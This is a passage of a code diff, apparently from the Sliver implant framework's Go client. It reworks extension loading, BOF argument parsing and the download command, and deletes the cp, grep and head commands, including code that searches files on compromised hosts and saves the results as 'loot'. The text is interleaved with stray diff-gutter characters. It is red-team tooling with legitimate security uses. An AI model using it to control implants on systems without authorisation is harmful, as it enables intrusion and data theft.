return
|
||||
}
|
||||
|
||||
loadedExtensions[extCmd.CommandName] = extCmd
|
||||
//helpMsg := extCmd.Help
|
||||
|
||||
usage := strings.Builder{}
|
||||
usage.WriteString(extCmd.CommandName)
|
||||
//build usage including args
|
||||
for _, arg := range extCmd.Arguments {
|
||||
usage.WriteString(" ")
|
||||
if arg.Optional {
|
||||
usage.WriteString("[")
|
||||
}
|
||||
usage.WriteString(strings.ToUpper(arg.Name))
|
||||
if arg.Optional {
|
||||
usage.WriteString("]")
|
||||
}
|
||||
}
|
||||
longHelp := strings.Builder{}
|
||||
//prepend the help value, because otherwise I don't see where it is meant to be shown
|
||||
//build the command ref
|
||||
longHelp.WriteString("[[.Bold]]Command:[[.Normal]]")
|
||||
longHelp.WriteString(usage.String())
|
||||
longHelp.WriteString("\n")
|
||||
if len(extCmd.Help) > 0 || len(extCmd.LongHelp) > 0 {
|
||||
longHelp.WriteString("[[.Bold]]About:[[.Normal]]")
|
||||
if len(extCmd.Help) > 0 {
|
||||
longHelp.WriteString(extCmd.Help)
|
||||
longHelp.WriteString("\n")
|
||||
}
|
||||
if len(extCmd.LongHelp) > 0 {
|
||||
longHelp.WriteString(extCmd.LongHelp)
|
||||
longHelp.WriteString("\n")
|
||||
}
|
||||
}
|
||||
if len(extCmd.Arguments) > 0 {
|
||||
longHelp.WriteString("[[.Bold]]Arguments:[[.Normal]]")
|
||||
}
|
||||
//if more than 0 args specified, describe each arg at the bottom of the long help text (incase the manifest doesn't include it)
|
||||
for _, arg := range extCmd.Arguments {
|
||||
longHelp.WriteString("\n\t")
|
||||
optStr := ""
|
||||
if arg.Optional {
|
||||
optStr = "[OPTIONAL]"
|
||||
}
|
||||
aType := arg.Type
|
||||
if aType == "wstring" {
|
||||
aType = "string" //avoid confusion, as this is mostly for telling operator what to shove into the args
|
||||
}
|
||||
//idk how to make this look nice, tabs don't work especially good - maybe should use the table stuff other things do? Pls help.
|
||||
longHelp.WriteString(fmt.Sprintf("%s (%s):\t%s%s", strings.ToUpper(arg.Name), aType, optStr, arg.Desc))
|
||||
}
|
||||
helpMsg := extCmd.Help
|
||||
|
||||
// Command
|
||||
extensionCmd := &cobra.Command{
|
||||
Use: usage.String(), //extCmd.CommandName,
|
||||
//Short: helpMsg.String(), doesn't appear to be used?
|
||||
Long: help.FormatHelpTmpl(longHelp.String()),
|
||||
Use: extCmd.CommandName,
|
||||
Short: helpMsg,
|
||||
Long: help.FormatHelpTmpl(extCmd.LongHelp),
|
||||
Run: func(cmd *cobra.Command, args []string) {
|
||||
runExtensionCmd(cmd, con, args)
|
||||
},
|
||||
@@ -332,7 +197,7 @@ func ExtensionRegisterCommand(extCmd *ExtCommand, cmd *cobra.Command, con *conso
|
||||
}
|
||||
|
||||
// Flags
|
||||
f := pflag.NewFlagSet(extCmd.CommandName, pflag.ContinueOnError)
|
||||
f := pflag.NewFlagSet(extCmd.Name, pflag.ContinueOnError)
|
||||
f.BoolP("save", "s", false, "Save output to disk")
|
||||
f.IntP("timeout", "t", defaultTimeout, "command timeout in seconds")
|
||||
extensionCmd.Flags().AddFlagSet(f)
|
||||
@@ -345,9 +210,9 @@ func ExtensionRegisterCommand(extCmd *ExtCommand, cmd *cobra.Command, con *conso
|
||||
cmd.AddCommand(extensionCmd)
|
||||
}
|
||||
|
||||
func loadExtension(goos string, goarch string, checkCache bool, ext *ExtCommand, cmd *cobra.Command, con *console.SliverConsoleClient) error {
|
||||
func loadExtension(goos string, goarch string, checkCache bool, ext *ExtensionManifest, cmd *cobra.Command, con *console.SliverConsoleClient) error {
|
||||
var extensionList []string
|
||||
binPath, err := ext.getFileForTarget(goos, goarch)
|
||||
binPath, err := ext.getFileForTarget(cmd.Name(), goos, goarch)
|
||||
if err != nil {
|
||||
return err
|
||||
}
|
||||
@@ -368,12 +233,10 @@ func loadExtension(goos string, goarch string, checkCache bool, ext *ExtCommand,
|
||||
}
|
||||
depLoaded := false
|
||||
for _, extName := range extensionList {
|
||||
if !depLoaded {
|
||||
if extN, ok := loadedExtensions[cmd.Name()]; ok && extName == extN.DependsOn {
|
||||
depLoaded = true
|
||||
}
|
||||
if !depLoaded && extName == ext.DependsOn {
|
||||
depLoaded = true
|
||||
}
|
||||
if extN, ok := loadedExtensions[cmd.Name()]; ok && extN.CommandName == extName {
|
||||
if ext.CommandName == extName {
|
||||
return nil
|
||||
}
|
||||
}
|
||||
@@ -398,12 +261,12 @@ func loadExtension(goos string, goarch string, checkCache bool, ext *ExtCommand,
|
||||
return nil
|
||||
}
|
||||
|
||||
func registerExtension(goos string, ext *ExtCommand, binData []byte, cmd *cobra.Command, con *console.SliverConsoleClient) error {
|
||||
func registerExtension(goos string, ext *ExtensionManifest, binData []byte, cmd *cobra.Command, con *console.SliverConsoleClient) error {
|
||||
registerResp, err := con.Rpc.RegisterExtension(context.Background(), &sliverpb.RegisterExtensionReq{
|
||||
Name: ext.CommandName,
|
||||
Data: binData,
|
||||
OS: goos,
|
||||
//Init: ext.Init, ?
|
||||
Name: ext.CommandName,
|
||||
Data: binData,
|
||||
OS: goos,
|
||||
Init: ext.Init,
|
||||
Request: con.ActiveTarget.Request(cmd),
|
||||
})
|
||||
if err != nil {
|
||||
@@ -418,7 +281,7 @@ func registerExtension(goos string, ext *ExtCommand, binData []byte, cmd *cobra.
|
||||
func loadDep(goos string, goarch string, depName string, cmd *cobra.Command, con *console.SliverConsoleClient) error {
|
||||
depExt, ok := loadedExtensions[depName]
|
||||
if ok {
|
||||
depBinPath, err := depExt.getFileForTarget(goos, goarch)
|
||||
depBinPath, err := depExt.getFileForTarget(depExt.CommandName, goos, goarch)
|
||||
if err != nil {
|
||||
return err
|
||||
}
|
||||
@@ -464,7 +327,7 @@ func runExtensionCmd(cmd *cobra.Command, con *console.SliverConsoleClient, args
|
||||
return
|
||||
}
|
||||
|
||||
binPath, err := ext.getFileForTarget(goos, goarch)
|
||||
binPath, err := ext.getFileForTarget(cmd.Name(), goos, goarch)
|
||||
if err != nil {
|
||||
con.PrintErrorf("Failed to read extension file: %s\n", err)
|
||||
return
|
||||
@@ -488,17 +351,8 @@ func runExtensionCmd(cmd *cobra.Command, con *console.SliverConsoleClient, args
|
||||
entryPoint = loadedExtensions[extName].Entrypoint // should exist at this point
|
||||
} else {
|
||||
// Regular DLL
|
||||
// extArgs := strings.Join(args, " ")
|
||||
//legacy case - single string arg
|
||||
if len(ext.Arguments) == 1 && ext.Arguments[0].Type == "string" {
|
||||
extensionArgs = []byte(strings.Join(args, " "))
|
||||
} else {
|
||||
extensionArgs, err = getExtArgs(cmd, args, binPath, ext)
|
||||
if err != nil {
|
||||
con.PrintErrorf("ext args error: %s\n", err)
|
||||
return
|
||||
}
|
||||
}
|
||||
extArgs := strings.Join(args, " ")
|
||||
extensionArgs = []byte(extArgs)
|
||||
extName = ext.CommandName
|
||||
entryPoint = ext.Entrypoint
|
||||
}
|
||||
@@ -550,8 +404,12 @@ func PrintExtOutput(extName string, commandName string, callExtension *sliverpb.
|
||||
}
|
||||
}
|
||||
|
||||
func getExtArgs(cmd *cobra.Command, args []string, binPath string, ext *ExtCommand) ([]byte, error) {
|
||||
var err error
|
||||
func getBOFArgs(cmd *cobra.Command, args []string, binPath string, ext *ExtensionManifest) ([]byte, error) {
|
||||
var extensionArgs []byte
|
||||
binData, err := os.ReadFile(binPath)
|
||||
if err != nil {
|
||||
return nil, err
|
||||
}
|
||||
argsBuffer := core.BOFArgsBuffer{
|
||||
Buffer: new(bytes.Buffer),
|
||||
}
|
||||
@@ -628,17 +486,6 @@ func getExtArgs(cmd *cobra.Command, args []string, binPath string, ext *ExtComma
|
||||
if err != nil {
|
||||
return nil, err
|
||||
}
|
||||
|
||||
return parsedArgs, nil
|
||||
}
|
||||
|
||||
func getBOFArgs(cmd *cobra.Command, args []string, binPath string, ext *ExtCommand) ([]byte, error) {
|
||||
var extensionArgs []byte
|
||||
binData, err := os.ReadFile(binPath)
|
||||
if err != nil {
|
||||
return nil, err
|
||||
}
|
||||
|
||||
// Now build the extension's argument buffer
|
||||
extensionArgsBuffer := core.BOFArgsBuffer{
|
||||
Buffer: new(bytes.Buffer),
|
||||
@@ -651,10 +498,6 @@ func getBOFArgs(cmd *cobra.Command, args []string, binPath string, ext *ExtComma
|
||||
if err != nil {
|
||||
return nil, err
|
||||
}
|
||||
parsedArgs, err := getExtArgs(cmd, args, binPath, ext)
|
||||
if err != nil {
|
||||
return nil, err
|
||||
}
|
||||
err = extensionArgsBuffer.AddData(parsedArgs)
|
||||
if err != nil {
|
||||
return nil, err
|
||||
@@ -677,7 +520,7 @@ func CmdExists(name string, cmd *cobra.Command) bool {
|
||||
}
|
||||
|
||||
// makeExtensionArgParser builds the valid positional arguments cobra handler for the extension.
|
||||
func checkExtensionArgs(extCmd *ExtCommand) error {
|
||||
func checkExtensionArgs(extCmd *ExtensionManifest) error {
|
||||
if 0 < len(extCmd.Arguments) {
|
||||
for _, arg := range extCmd.Arguments {
|
||||
switch arg.Type {
|
||||
@@ -693,7 +536,7 @@ func checkExtensionArgs(extCmd *ExtCommand) error {
|
||||
}
|
||||
|
||||
// makeExtensionArgCompleter builds the positional arguments completer for the extension.
|
||||
func makeExtensionArgCompleter(extCmd *ExtCommand, _ *cobra.Command, comps *carapace.Carapace) {
|
||||
func makeExtensionArgCompleter(extCmd *ExtensionManifest, _ *cobra.Command, comps *carapace.Carapace) {
|
||||
var actions []carapace.Action
|
||||
|
||||
for _, arg := range extCmd.Arguments {
|
||||
@@ -715,7 +558,7 @@ func makeExtensionArgCompleter(extCmd *ExtCommand, _ *cobra.Command, comps *cara
|
||||
comps.PositionalCompletion(actions...)
|
||||
}
|
||||
|
||||
func makeCommandPlatformFilters(extCmd *ExtCommand) map[string]string {
|
||||
func makeCommandPlatformFilters(extCmd *ExtensionManifest) map[string]string {
|
||||
filtersOS := make(map[string]bool)
|
||||
filtersArch := make(map[string]bool)
|
||||
|
||||
|
||||
@@ -45,22 +45,12 @@ func ExtensionsRemoveCmd(cmd *cobra.Command, con *console.SliverConsoleClient, a
|
||||
if !confirm {
|
||||
return
|
||||
}
|
||||
found, err := RemoveExtensionByManifestName(name, con)
|
||||
err := RemoveExtensionByCommandName(name, con)
|
||||
if err != nil {
|
||||
con.PrintErrorf("Error removing extensions: %s\n", err)
|
||||
con.PrintErrorf("Error removing extension: %s\n", err)
|
||||
return
|
||||
}
|
||||
if !found {
|
||||
err = RemoveExtensionByCommandName(name, con)
|
||||
if err != nil {
|
||||
con.PrintErrorf("Error removing extension: %s\n", err)
|
||||
return
|
||||
} else {
|
||||
con.PrintInfof("Extension '%s' removed\n", name)
|
||||
}
|
||||
} else {
|
||||
//found, and no error, manifest must have removed good
|
||||
con.PrintInfof("Extensions from %s removed\n", name)
|
||||
con.PrintInfof("Extension '%s' removed\n", name)
|
||||
}
|
||||
}
|
||||
|
||||
@@ -81,28 +71,6 @@ func RemoveExtensionByCommandName(commandName string, con *console.SliverConsole
|
||||
return nil
|
||||
}
|
||||
|
||||
// RemoveExtensionByManifestName - remove by the named manifest, returns true if manifest was removed, false if no manifest with that name was found
|
||||
func RemoveExtensionByManifestName(manifestName string, con *console.SliverConsoleClient) (bool, error) {
|
||||
if manifestName == "" {
|
||||
return false, errors.New("command name is required")
|
||||
}
|
||||
if man, ok := loadedManifests[manifestName]; ok {
|
||||
//foudn the manifest
|
||||
//delet it
|
||||
extPath := filepath.Join(assets.GetExtensionsDir(), filepath.Base(manifestName))
|
||||
if _, err := os.Stat(extPath); os.IsNotExist(err) {
|
||||
return true, nil
|
||||
}
|
||||
forceRemoveAll(extPath)
|
||||
delete(loadedManifests, manifestName)
|
||||
for _, cmd := range man.ExtCommand {
|
||||
delete(loadedExtensions, cmd.CommandName)
|
||||
}
|
||||
return true, nil
|
||||
}
|
||||
return false, nil
|
||||
}
|
||||
|
||||
func forceRemoveAll(rootPath string) {
|
||||
util.ChmodR(rootPath, 0o600, 0o700)
|
||||
os.RemoveAll(rootPath)
|
||||
|
||||
@@ -56,9 +56,8 @@ func CatCmd(cmd *cobra.Command, con *console.SliverConsoleClient, args []string)
|
||||
ctrl := make(chan bool)
|
||||
con.SpinUntil(fmt.Sprintf("Downloading %s ...", filePath), ctrl)
|
||||
download, err := con.Rpc.Download(context.Background(), &sliverpb.DownloadReq{
|
||||
Request: con.ActiveTarget.Request(cmd),
|
||||
RestrictedToFile: true,
|
||||
Path: filePath,
|
||||
Request: con.ActiveTarget.Request(cmd),
|
||||
Path: filePath,
|
||||
})
|
||||
ctrl <- true
|
||||
<-ctrl
|
||||
|
||||
@@ -1,82 +0,0 @@
|
||||
package filesystem
|
||||
|
||||
/*
|
||||
Sliver Implant Framework
|
||||
Copyright (C) 2019 Bishop Fox
|
||||
|
||||
This program is free software: you can redistribute it and/or modify
|
||||
it under the terms of the GNU General Public License as published by
|
||||
the Free Software Foundation, either version 3 of the License, or
|
||||
(at your option) any later version.
|
||||
|
||||
This program is distributed in the hope that it will be useful,
|
||||
but WITHOUT ANY WARRANTY; without even the implied warranty of
|
||||
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
|
||||
GNU General Public License for more details.
|
||||
|
||||
You should have received a copy of the GNU General Public License
|
||||
along with this program. If not, see <https://www.gnu.org/licenses/>.
|
||||
*/
|
||||
|
||||
import (
|
||||
"context"
|
||||
|
||||
"google.golang.org/protobuf/proto"
|
||||
|
||||
"github.com/spf13/cobra"
|
||||
|
||||
"github.com/bishopfox/sliver/client/console"
|
||||
"github.com/bishopfox/sliver/protobuf/clientpb"
|
||||
"github.com/bishopfox/sliver/protobuf/sliverpb"
|
||||
)
|
||||
|
||||
func CpCmd(cmd *cobra.Command, con *console.SliverConsoleClient, args []string) (err error) {
|
||||
session, beacon := con.ActiveTarget.GetInteractive()
|
||||
if session == nil && beacon == nil {
|
||||
return
|
||||
}
|
||||
|
||||
if len(args) != 2 {
|
||||
con.PrintErrorf("Please specify a source and destination filename.\n")
|
||||
return
|
||||
}
|
||||
|
||||
src := args[0]
|
||||
dst := args[1]
|
||||
|
||||
cp, err := con.Rpc.Cp(context.Background(), &sliverpb.CpReq{
|
||||
Request: con.ActiveTarget.Request(cmd),
|
||||
Src: src,
|
||||
Dst: dst,
|
||||
})
|
||||
if err != nil {
|
||||
con.PrintErrorf("%s\n", err)
|
||||
return
|
||||
}
|
||||
|
||||
cp.Src, cp.Dst = src, dst
|
||||
|
||||
if cp.Response != nil && cp.Response.Async {
|
||||
con.AddBeaconCallback(cp.Response.TaskID, func(task *clientpb.BeaconTask) {
|
||||
err = proto.Unmarshal(task.Response, cp)
|
||||
if err != nil {
|
||||
con.PrintErrorf("Failed to decode response %s\n", err)
|
||||
return
|
||||
}
|
||||
})
|
||||
con.PrintAsyncResponse(cp.Response)
|
||||
} else {
|
||||
PrintCp(cp, con)
|
||||
}
|
||||
|
||||
return
|
||||
}
|
||||
|
||||
func PrintCp(cp *sliverpb.Cp, con *console.SliverConsoleClient) {
|
||||
if cp.Response != nil && cp.Response.Err != "" {
|
||||
con.PrintErrorf("%s\n", cp.Response.Err)
|
||||
return
|
||||
}
|
||||
|
||||
con.PrintInfof("Copied '%s' to '%s' (%d bytes written)\n", cp.Src, cp.Dst, cp.BytesWritten)
|
||||
}
|
||||
@@ -51,10 +51,9 @@ func DownloadCmd(cmd *cobra.Command, con *console.SliverConsoleClient, args []st
|
||||
ctrl := make(chan bool)
|
||||
con.SpinUntil(fmt.Sprintf("Downloading %s ...", remotePath), ctrl)
|
||||
download, err := con.Rpc.Download(context.Background(), &sliverpb.DownloadReq{
|
||||
Request: con.ActiveTarget.Request(cmd),
|
||||
Path: remotePath,
|
||||
Recurse: recurse,
|
||||
RestrictedToFile: false,
|
||||
Request: con.ActiveTarget.Request(cmd),
|
||||
Path: remotePath,
|
||||
Recurse: recurse,
|
||||
})
|
||||
ctrl <- true
|
||||
<-ctrl
|
||||
@@ -120,12 +119,7 @@ func HandleDownloadResponse(download *sliverpb.Download, cmd *cobra.Command, arg
|
||||
}
|
||||
|
||||
remotePath := args[0]
|
||||
var localPath string
|
||||
if len(args) == 1 {
|
||||
localPath = "."
|
||||
} else {
|
||||
localPath = args[1]
|
||||
}
|
||||
localPath := args[1]
|
||||
saveLoot, _ := cmd.Flags().GetBool("loot")
|
||||
|
||||
if download.ReadFiles == 0 {
|
||||
|
||||
@@ -1,304 +0,0 @@
|
||||
package filesystem
|
||||
|
||||
/*
|
||||
Sliver Implant Framework
|
||||
Copyright (C) 2023 Bishop Fox
|
||||
|
||||
This program is free software: you can redistribute it and/or modify
|
||||
it under the terms of the GNU General Public License as published by
|
||||
the Free Software Foundation, either version 3 of the License, or
|
||||
(at your option) any later version.
|
||||
|
||||
This program is distributed in the hope that it will be useful,
|
||||
but WITHOUT ANY WARRANTY; without even the implied warranty of
|
||||
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
|
||||
GNU General Public License for more details.
|
||||
|
||||
You should have received a copy of the GNU General Public License
|
||||
along with this program. If not, see <https://www.gnu.org/licenses/>.
|
||||
*/
|
||||
|
||||
import (
|
||||
"context"
|
||||
"fmt"
|
||||
"regexp"
|
||||
"strings"
|
||||
"time"
|
||||
|
||||
"github.com/bishopfox/sliver/client/command/loot"
|
||||
"github.com/bishopfox/sliver/client/console"
|
||||
"github.com/bishopfox/sliver/protobuf/clientpb"
|
||||
"github.com/bishopfox/sliver/protobuf/sliverpb"
|
||||
"github.com/fatih/color"
|
||||
"github.com/spf13/cobra"
|
||||
"google.golang.org/protobuf/proto"
|
||||
)
|
||||
|
||||
const maxLinesDisplayed = 50
|
||||
|
||||
func processFlags(searchPattern string, insensitive bool, exact bool) string {
|
||||
if !insensitive && !exact {
|
||||
return searchPattern
|
||||
}
|
||||
|
||||
var processedSearchPattern = searchPattern
|
||||
|
||||
flagsAtBeginning, _ := regexp.Compile(`^\(\?.*\)`)
|
||||
flagsSpecifiedIndex := flagsAtBeginning.FindStringIndex(searchPattern)
|
||||
|
||||
if insensitive {
|
||||
if flagsSpecifiedIndex != nil {
|
||||
// If we matched, flagsSpecifiedIndex[0] will always be 0 (the start of the string)
|
||||
flags := searchPattern[:flagsSpecifiedIndex[1]]
|
||||
if !strings.Contains(flags, "i") {
|
||||
processedSearchPattern = "(?i" + searchPattern[2:]
|
||||
}
|
||||
} else {
|
||||
processedSearchPattern = "(?i)" + processedSearchPattern
|
||||
}
|
||||
}
|
||||
|
||||
// For exact matches, we will replace any start and end of line anchors with (^|\s) and (\s|$) respectively
|
||||
flagsSpecifiedIndex = flagsAtBeginning.FindStringIndex(processedSearchPattern)
|
||||
|
||||
if exact {
|
||||
var endIndexOfFlags = 0
|
||||
|
||||
if flagsSpecifiedIndex != nil {
|
||||
endIndexOfFlags = flagsSpecifiedIndex[1]
|
||||
}
|
||||
if strings.HasPrefix(processedSearchPattern[endIndexOfFlags:], "^") {
|
||||
processedSearchPattern = processedSearchPattern[:endIndexOfFlags] + strings.Replace(processedSearchPattern[endIndexOfFlags:], "^", `(^|\s)`, 1)
|
||||
} else {
|
||||
processedSearchPattern = `(^|\s)` + processedSearchPattern
|
||||
}
|
||||
|
||||
if strings.HasSuffix(processedSearchPattern, "$") {
|
||||
processedSearchPattern = processedSearchPattern[:len(processedSearchPattern)-1] + `(\s|$)`
|
||||
} else {
|
||||
processedSearchPattern = processedSearchPattern + `(\s|$)`
|
||||
}
|
||||
}
|
||||
|
||||
return processedSearchPattern
|
||||
}
|
||||
|
||||
func GrepCmd(cmd *cobra.Command, con *console.SliverConsoleClient, args []string) {
|
||||
session, beacon := con.ActiveTarget.GetInteractive()
|
||||
if session == nil && beacon == nil {
|
||||
return
|
||||
}
|
||||
|
||||
searchPattern := args[0]
|
||||
searchPath := args[1]
|
||||
|
||||
recursive, _ := cmd.Flags().GetBool("recursive")
|
||||
insensitive, _ := cmd.Flags().GetBool("insensitive")
|
||||
exact, _ := cmd.Flags().GetBool("exact")
|
||||
|
||||
searchPatternProcessed := processFlags(searchPattern, insensitive, exact)
|
||||
|
||||
// Sanity check the search pattern to validate that it is a valid regex
|
||||
_, err := regexp.Compile(searchPattern)
|
||||
if err != nil {
|
||||
con.PrintErrorf("%s is not a valid regex: %s\n", searchPattern, err)
|
||||
return
|
||||
}
|
||||
|
||||
// Context overrides individual values for before and after
|
||||
var linesBefore int32 = 0
|
||||
var linesAfter int32 = 0
|
||||
|
||||
if cmd.Flags().Changed("context") {
|
||||
linesBefore, _ = cmd.Flags().GetInt32("context")
|
||||
linesAfter = linesBefore
|
||||
} else {
|
||||
linesBefore, _ = cmd.Flags().GetInt32("before")
|
||||
linesAfter, _ = cmd.Flags().GetInt32("after")
|
||||
}
|
||||
|
||||
ctrl := make(chan bool)
|
||||
con.SpinUntil(fmt.Sprintf("Searching for %s in %s ...", searchPattern, searchPath), ctrl)
|
||||
|
||||
grep, err := con.Rpc.Grep(context.Background(), &sliverpb.GrepReq{
|
||||
Request: con.ActiveTarget.Request(cmd),
|
||||
SearchPattern: searchPatternProcessed,
|
||||
Path: searchPath,
|
||||
Recursive: recursive,
|
||||
LinesBefore: linesBefore,
|
||||
LinesAfter: linesAfter,
|
||||
})
|
||||
|
||||
ctrl <- true
|
||||
<-ctrl
|
||||
if err != nil {
|
||||
con.PrintErrorf("%s\n", err)
|
||||
return
|
||||
}
|
||||
if grep.Response != nil && grep.Response.Async {
|
||||
con.AddBeaconCallback(grep.Response.TaskID, func(task *clientpb.BeaconTask) {
|
||||
err = proto.Unmarshal(task.Response, grep)
|
||||
if err != nil {
|
||||
con.PrintErrorf("Failed to decode response %s\n", err)
|
||||
return
|
||||
}
|
||||
// Using args[0] so that the operator's original input is preserved
|
||||
printGrep(grep, args[0], searchPath, cmd, con)
|
||||
})
|
||||
con.PrintAsyncResponse(grep.Response)
|
||||
} else {
|
||||
printGrep(grep, args[0], searchPath, cmd, con)
|
||||
}
|
||||
}
|
||||
|
||||
// printGrep - Print the results from the grep operation to stdout
|
||||
func printGrep(grep *sliverpb.Grep, searchPattern string, searchPath string, cmd *cobra.Command, con *console.SliverConsoleClient) {
|
||||
saveLoot, _ := cmd.Flags().GetBool("loot")
|
||||
lootName, _ := cmd.Flags().GetString("name")
|
||||
colorize, _ := cmd.Flags().GetBool("colorize-output")
|
||||
userLootFileType, _ := cmd.Flags().GetString("file-type")
|
||||
currentDateTime := time.Now().Format("2006-01-02_150405")
|
||||
if !cmd.Flags().Changed("lootName") {
|
||||
// If the loot name has not been specified by the operator, generate one
|
||||
con.GetActiveSessionConfig()
|
||||
lootName = fmt.Sprintf("grep from %s on %s (%s)", searchPath, con.GetActiveSessionConfig().ID, currentDateTime)
|
||||
}
|
||||
if grep.Response != nil && grep.Response.Err != "" {
|
||||
con.PrintErrorf("%s\n", grep.Response.Err)
|
||||
return
|
||||
}
|
||||
|
||||
grepResults, numberOfResults, binaryFilesMatched := printGrepResults(grep.Results, colorize, true)
|
||||
if len(grepResults) > maxLinesDisplayed {
|
||||
// If there are more than maxResultsDisplayed results, then loot the rest so that we do not overfill the console
|
||||
saveLoot = true
|
||||
}
|
||||
|
||||
var resultQualifier string
|
||||
var displayLimit string
|
||||
|
||||
if numberOfResults == 1 {
|
||||
resultQualifier = "line"
|
||||
} else {
|
||||
resultQualifier = "lines"
|
||||
}
|
||||
|
||||
if len(grepResults) > maxLinesDisplayed {
|
||||
displayLimit = fmt.Sprintf(" (%d displayed, including context if available)", maxLinesDisplayed)
|
||||
}
|
||||
|
||||
con.Printf("Found %d matching %s for %s in %s%s\n\n", numberOfResults, resultQualifier, searchPattern, searchPath, displayLimit)
|
||||
if len(grepResults) > maxLinesDisplayed {
|
||||
con.Println(strings.Join(grepResults[:maxLinesDisplayed+1], "\n"))
|
||||
} else {
|
||||
con.Println(strings.Join(grepResults, "\n"))
|
||||
}
|
||||
|
||||
if len(grepResults) > maxLinesDisplayed {
|
||||
con.PrintWarnf("Number of output lines exceed %d. The full output is available in the loot file \"%s\"\n", maxLinesDisplayed, lootName)
|
||||
}
|
||||
if len(binaryFilesMatched) > 0 {
|
||||
con.PrintInfof("The following binary files contained one or more matches that may not be reflected above:\n")
|
||||
for _, fileName := range binaryFilesMatched {
|
||||
con.Printf("\t%s\n", fileName)
|
||||
}
|
||||
}
|
||||
|
||||
if saveLoot {
|
||||
// Do not allow escape sequences in the output when looting
|
||||
grepResultsForLoot, numberOfResults, binaryFilesMatched := printGrepResults(grep.Results, false, false)
|
||||
|
||||
lootFileName := fmt.Sprintf("grep_%s_%s.txt", con.GetActiveSessionConfig().ID, currentDateTime)
|
||||
flags := []string{}
|
||||
if recursive, _ := cmd.Flags().GetBool("recursive"); recursive {
|
||||
flags = append(flags, "recursive")
|
||||
}
|
||||
if exact, _ := cmd.Flags().GetBool("exact"); exact {
|
||||
flags = append(flags, "exact match")
|
||||
}
|
||||
if insensitive, _ := cmd.Flags().GetBool("insensitive"); insensitive {
|
||||
flags = append(flags, "case insensitive search")
|
||||
}
|
||||
|
||||
// Add a header to the looted grep results to indicate what the pattern was and what was searched
|
||||
grepResultsString := fmt.Sprintf("Search pattern: %s\nSearch location: %s\n", searchPattern, grep.SearchPathAbsolute)
|
||||
if len(flags) > 0 {
|
||||
grepResultsString += fmt.Sprintf("Search flags: %s\n", strings.Join(flags, ", "))
|
||||
}
|
||||
grepResultsString += fmt.Sprintf("Number of Results: %d\n\n%s", numberOfResults, strings.Join(grepResultsForLoot, "\n"))
|
||||
if len(binaryFilesMatched) > 0 {
|
||||
grepResultsString += "\nThe following binary files contained one or more matches:\n"
|
||||
grepResultsString += strings.Join(binaryFilesMatched, "\n")
|
||||
}
|
||||
fileType := loot.ValidateLootFileType(userLootFileType, []byte(grepResultsString))
|
||||
loot.LootText(grepResultsString, lootName, lootFileName, fileType, con)
|
||||
}
|
||||
|
||||
}
|
||||
|
||||
// grepLineResult - Add color or formatting for results for console output
|
||||
func grepLineResult(positions []*sliverpb.GrepLinePosition, line string, colorize bool, allowFormatting bool) string {
|
||||
var result string = ""
|
||||
var matchOutput func(a ...interface{}) string
|
||||
var previousPositionEnd int32 = 0
|
||||
|
||||
if colorize {
|
||||
matchOutput = color.New(color.FgRed, color.Bold).SprintFunc()
|
||||
} else if allowFormatting {
|
||||
matchOutput = color.New(color.Bold).SprintFunc()
|
||||
}
|
||||
|
||||
for idx, position := range positions {
|
||||
if colorize || allowFormatting {
|
||||
result += line[previousPositionEnd:position.Start]
|
||||
result += matchOutput(line[position.Start:position.End])
|
||||
if idx == len(positions)-1 {
|
||||
result += line[position.End:]
|
||||
} else {
|
||||
previousPositionEnd = position.End
|
||||
}
|
||||
} else {
|
||||
result = line
|
||||
}
|
||||
}
|
||||
|
||||
return result
|
||||
}
|
||||
|
||||
// printGrepResults - Take the results from the implant and put them together for output to the console or loot
|
||||
func printGrepResults(results map[string]*sliverpb.GrepResultsForFile, colorize bool, allowFormatting bool) ([]string, int, []string) {
|
||||
var resultOutput []string
|
||||
var numberOfResults = 0
|
||||
binaryFilesMatched := []string{}
|
||||
|
||||
for fileName, result := range results {
|
||||
if result.IsBinary {
|
||||
if len(result.FileResults) > 0 {
|
||||
binaryFilesMatched = append(binaryFilesMatched, fileName)
|
||||
}
|
||||
}
|
||||
for _, lineResult := range result.FileResults {
|
||||
line := lineResult.Line
|
||||
if len(lineResult.LinesBefore) > 0 || len(lineResult.LinesAfter) > 0 {
|
||||
resultOutput = append(resultOutput, fmt.Sprintf("%s (match on line %d)\n", fileName, lineResult.LineNumber))
|
||||
if len(lineResult.LinesBefore) > 0 {
|
||||
resultOutput = append(resultOutput, strings.Join(lineResult.LinesBefore, "\n"))
|
||||
}
|
||||
resultOutput = append(resultOutput, grepLineResult(lineResult.Positions, line, colorize, allowFormatting))
|
||||
if len(lineResult.LinesAfter) > 0 {
|
||||
resultOutput = append(resultOutput, strings.Join(lineResult.LinesAfter, "\n"))
|
||||
}
|
||||
resultOutput = append(resultOutput, "\n")
|
||||
} else {
|
||||
if lineResult.LineNumber == -1 {
|
||||
resultOutput = append(resultOutput, fmt.Sprintf("Error when reading file %s: %s", fileName, line))
|
||||
} else {
|
||||
resultOutput = append(resultOutput, fmt.Sprintf("%s: Line %d: %s", fileName, lineResult.LineNumber, grepLineResult(lineResult.Positions, line, colorize, allowFormatting)))
|
||||
}
|
||||
}
|
||||
numberOfResults += 1
|
||||
}
|
||||
}
|
||||
|
||||
return resultOutput, numberOfResults, binaryFilesMatched
|
||||
}
|
||||
@@ -1,127 +0,0 @@
|
||||
package filesystem
|
||||
|
||||
/*
|
||||
Sliver Implant Framework
|
||||
Copyright (C) 2023 Bishop Fox
|
||||
|
||||
This program is free software: you can redistribute it and/or modify
|
||||
it under the terms of the GNU General Public License as published by
|
||||
the Free Software Foundation, either version 3 of the License, or
|
||||
(at your option) any later version.
|
||||
|
||||
This program is distributed in the hope that it will be useful,
|
||||
but WITHOUT ANY WARRANTY; without even the implied warranty of
|
||||
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
|
||||
GNU General Public License for more details.
|
||||
|
||||
You should have received a copy of the GNU General Public License
|
||||
along with this program. If not, see <https://www.gnu.org/licenses/>.
|
||||
*/
|
||||
|
||||
import (
|
||||
"context"
|
||||
"fmt"
|
||||
|
||||
"github.com/bishopfox/sliver/client/console"
|
||||
"github.com/bishopfox/sliver/protobuf/clientpb"
|
||||
"github.com/bishopfox/sliver/protobuf/sliverpb"
|
||||
"github.com/spf13/cobra"
|
||||
"google.golang.org/protobuf/proto"
|
||||
)
|
||||
|
||||
func HeadCmd(cmd *cobra.Command, con *console.SliverConsoleClient, args []string, head bool) {
|
||||
session, beacon := con.ActiveTarget.GetInteractive()
|
||||
